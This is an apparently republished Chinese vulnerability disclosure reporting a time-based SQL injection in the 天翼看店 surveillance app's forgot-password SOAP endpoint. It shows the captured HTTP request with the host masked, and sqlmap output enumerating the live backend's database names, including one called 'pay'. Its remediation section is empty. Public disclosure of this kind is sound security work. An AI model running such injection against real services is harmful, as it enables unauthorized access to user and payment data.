我要评论天翼看店APP某处存在延时注入
天翼看店是江苏鸿信系统集成有限公司推出的一款集摄像、录像、实时监控、云台控制、报警、存储为一体安防业务，针对公司、店铺等需要进行可视化管理的场所，通过客户端管理软件和互联网服务平台，以电脑和智能手机作为媒介，实现远程监控，帮助用户更好地进行安防和可视化管理。-------------------------------------------录像/摄像 1.支持前端存储历史视频回放; 3.支持本地存储视频回放。云台控制 1.WEB端，客户端提供控制云台功能，视角灵活。全面的业务——天翼看店是您*贴心的安防助手!
以上描述中存在违反广告法的内容，自动用*代替
【基本信息】
作者：查尔斯 更新时间：2015-12-02
版本：2.1 系统：Android 2.2.x以上
语言：其他
在登陆处，点击忘记密码之后，我们进行抓包
POST http://**.**.**.**:9000/cxf/MobileService HTTP/1.1
User-Agent: ksoap2-android/2.6.0+
SOAPAction: ""
Content-Type: text/xml;charset=utf-8
Connection: close
Accept-Encoding: gzip
Content-Length: 466
Host: **.**.**.**:9000
153160583512
得到一个xml的数据包
然后我们放到SQLMAP里面跑一下;
back-end DBMS: MySQL 5.0.12
[16:13:33] [INFO] fetching database names
[16:13:33] [INFO] fetching number of databases
[16:13:33] [INFO] resumed: 11
[16:13:33] [INFO] resumed: information_schema
[16:13:33] [INFO] resumed: dxptlz
[16:13:33] [INFO] resumed: mysql
[16:13:33] [INFO] resumed: pay
[16:13:33] [INFO] resumed: performanc\x04A_schena
[16:13:33] [INFO] resumed: test
[16:13:33] [INFO] resumed: tzkdnew\x02
[16:13:33] [INFO] resumed: tykdoss
[16:13:33] [INFO] resumed: tykdportaz
[16:13:33] [INFO] resumed: tykdpublic
[16:13:33] [INFO] resumed: tykjportal
available databases [11]:
`performancA_schena`
`tzkdnew`
dxptlz
information_schema
mysql
pay
test
tykdoss
tykdportaz
tykdpublic
tykjportal
总共有是一个表，本来想列出数据库中的用户信息等等，但是鉴于该注入是延时注入，并且延时最慢的时候要将近60秒，时间太长，所以就没有列出。
但是基本可以从数据库名字中就已经可以确定了，pay中可能存在敏感信息。
解决方案：
= =
您可能感兴趣的文章:
如您对本文有疑问或者有任何想说的，请点击进行留言回复，万千网友为您解惑！
网友评论